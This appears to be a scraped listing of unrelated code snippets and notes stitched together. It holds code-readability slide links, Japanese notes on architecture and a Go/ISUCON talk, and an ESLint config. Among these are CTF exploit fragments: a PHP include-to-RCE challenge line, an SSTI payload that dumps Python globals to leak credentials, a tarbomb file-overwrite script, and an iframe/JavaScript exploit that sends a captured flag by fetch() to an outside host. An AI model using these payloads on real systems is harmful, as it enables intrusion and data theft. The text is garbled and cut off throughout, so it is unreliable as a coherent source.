Lorse LorseKudos

Code readability presentation links

English version

Session 1: Introduction and Principles - https://speakerdeck.com/munetoshi/code-readability-session-1-ver-2-en
Session 2: Naming - https://speakerdeck.com/munetoshi/code-readability-session-2-ver-2-en
Session 3: Comments - https://speakerdeck.com/munetoshi/code-readability-session-3-ver-2-en
Session 4: State - https://speakerdeck.com/munetoshi/code-readability-session-4-ver-2-en
Session 5: Function - https://speakerdeck.com/munetoshi/code-readability-session-5-ver-2-en
Session 6: Dependency I - https://speakerdeck.com/munetoshi/code-readability-session-6-ver-2-en

Solving "includer's revenge" from hxp ctf 2021 without controlling any files

The challenge

The challenge was to achieve RCE with this file:

<?php ($_GET['action'] ?? 'read' ) === 'read' ? readfile($_GET['file'] ?? 'index.php') : include_once($_GET['file'] ?? 'index.php');

Some additional hardening was applied to the php installation to make sure that previously known solutions wouldn't work (for further information read this writeup from the challenge author).

I didn't solve the challenge during the competition - here is a writeup from someone who did - but since the idea I had differed from the techniques used in the published writeups I read (and I thought it was cool :D), here is my approach.

Moved to my blog.

SSTI

Write one comment
When writing a comment content, do SSTI to leak author's credentials

{rating[comments][0].__class__.__init__.__globals__}
{'__name__': 'app.loaddata', '__doc__': None, '__package__': 'app', '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7fa912f51670>, '__spec__': ModuleSpec(name='app.loaddata', loader=<_frozen_importlib_external.SourceFileLoader object at 0x7fa912f51670>, origin='./app/loaddata.py'), '__file__': './app/loaddata.py', '__cached__': './app/__pycache__/loaddata.cpython-38.pyc', '__builtins__': {'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", '__package__': '', '__loader__': , '__spec__': ModuleSpec(name='builtins', loader=), '__build_class__': , '__import__': , 'abs': , 'all': , 'any': , 'ascii': , 'bin': , 'breakpoint': , 'callable': , 'chr': , 'compile': , 'delattr': , 'dir': , 'divmod': , 'eval': , 'exec': , 'format':

2020/5/31追記: 自分用のメモに書いていたつもりだったのですが、たくさんのスターを頂けてとても嬉しいです。
と同時に、書きかけで中途半端な状態のドキュメントをご覧いただくことになっており、大変心苦しく思っています。

このドキュメントを完成させるために、今後以下のような更新を予定しています。

TODO部分を埋める
書籍を基にした理論・原則パートと、実装例パートを分割
- 現在は4層のレイヤそれぞれごとに原則の確認→実装時の課題リスト→実装例という構成ですが、同じリポジトリへの言及箇所がバラバラになってしまう問題がありました。更新後は、実装時の課題リストを全て洗い出した後にまとめて実装を確認する構成とする予定です。

2021/1/22追記:

GoでISUCONを戦う話

mercari.go #4 https://mercari.connpass.com/event/105640/

自己紹介

catatsuyというIDで各種SNS活動しています
- かたついって呼ばれています
メルカリのSREチームで主にGoを書いています
前職はピクシブでpixivのHTTPS化・PHP7.1化・HTTP/2化や、広告サーバーの新機能追加など色々やっていました

	#!/bin/python
	# python tarbomb.py `pwd`/__init__.py pwn.tar.gz 10 app/
	# Copyright 2020 Andrew Scott
	# Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
	# The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
	# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE

	#!/usr/bin/env python3
	import sys
	import os
	import binwalk
	import shlex
	import subprocess as sp

	def dump_file(file, offset, size, outfile):
	cmd = "dd if={} of={} bs=1 skip={}".format(file, outfile, offset, size)
	if size is not None:

	<iframe id="ifr0" src="https://matrona.club/?calc=A.B=B" width=1000 height=500 sandbox="allow-scripts allow-top-navigation allow-same-origin allow-forms"></iframe>
	<iframe id="ifr1" src="https://matrona.club/?calc=A.B=B" width=1000 height=500 sandbox="allow-scripts allow-top-navigation allow-same-origin allow-forms"></iframe>

	<script>
	window.addEventListener('hashchange', (evt) => {
	const flag = evt.newURL.match(/CTF-BR\{.*\}/)[0]
	fetch(`//tool.tonkatsu.info/?flag=${encodeURIComponent(flag)}`)
	})
	</script>

	{
	"env": {
	"node": true,
	"es2021": true
	},
	"plugins": ["@typescript-eslint"],
	"parser": "@typescript-eslint/parser",
	"parserOptions": {
	"sourceType": "module"
	},